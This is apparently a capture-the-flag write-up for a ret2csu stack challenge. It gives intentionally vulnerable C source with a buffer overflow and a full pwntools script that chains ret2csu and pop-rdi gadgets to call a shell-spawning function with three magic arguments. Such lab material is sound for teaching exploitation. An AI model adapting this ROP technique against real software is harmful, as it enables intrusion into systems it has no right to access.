Seal’s Pwn Zero2Hero Stack Challenges - Ret2csu

2 minute read

This is the 9th challenge from Seal’s PWN Zero2Hero


Source for this challenge was provided.

#include <stdio.h>
#include <unistd.h>

// clang vuln.c -o vuln		Gcc kept optimising out defuse_bomb even with -O0 so I used clang for this
__attribute__((constructor)) void ignore_me(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}


void bomb() {
	puts("We all died");
}

int defuse_bomb(long wire_one, long wire_two, long wire_three) {
	puts("Good luck!");//

	if(wire_one == 0xdeadbeefdeadbeef && wire_two == 0xf00dd00dcafebabe) {
        char* cmd = "/bin/sh";
        puts("You are making some nice progress!");

        if(wire_three == 0x1337c0ded457c0de) {
            puts("You saved the world!");
            execve(cmd, NULL, NULL);
        } 
    }
    bomb();
}

void main() {

	char buf[0x20];
	alarm(6);

	printf("A bomb is about to go off, please defuse it quick!\n");
	printf("You can find your defuse kit at %p!\n", defuse_bomb);

	fgets(buf,0x200,stdin);
}

Gist is that we need to call defuse_bomb() and pass the correct arguments within 6 seconds.

Vulnerability

There’s a standard buffer overflow where fgets grabs up to 0x200 bytes which more than the buffer (0x20).

Exploitation

This challenge is missing a pop rdx gadget so currently we can’t pass a third argument without doing a ret2csu.To do this we need gadgets from the images below and a pop rdi gadget.

8ef99e2136d4c7174c5391833c2f86ad.png b09b80b648b53220c006e8ac05580434.png

Pretty much what will happen is the first arg will go into rdi like normal. The 2nd and 3rd args will be popped into r13 and r14 where they will later get moved to rsi and rdx. to bypass the call to [r15+rbx*8] we’ll set r15 to a pointer for _init(). Mainly because that function doesnt mess up any of registers that we need.We will also need to pop a 0 into rbx because there’s a comparison that we need to pass so that we hit the return instruction.

Once we have those we can start developing our exploit.

Solution

The script below will solve the challenge. It pops the args into the registers that I listed above and pops junk values (0) into the registers we don’t care about.

from pwn import *

elf = context.binary = ELF("vuln", checksec=False)
gs = '''
b *0x000000000040136a
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)

p.recvuntil(b'at ')
defuse_addr = int(p.recvline()[:-2],16)
log.info(f'[*] {hex(defuse_addr)}')

pop_gadget = p64(0x000000000040136a)
mov_gadget = p64(0x0000000000401350)
pop_rdi = p64(0x0000000000401373)
init = p64(0x4000f8)

offset = 40

payload = b''
payload += b'A' * offset
payload += pop_gadget
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(0) # r12
payload += p64(0xf00dd00dcafebabe) # r13
payload += p64(0x1337c0ded457c0de) # r14
payload += init # r15
payload += mov_gadget
payload += p64(0) # padding
payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(0) # r12
payload += p64(0) # r13
payload += p64(0) # r14
payload += p64(0) # r15
payload += pop_rdi
payload += p64(0xdeadbeefdeadbeef)
payload += p64(defuse_addr)

p.sendline(payload)
p.interactive()

550edc1079c27416ba49bfc2908e0b6c.png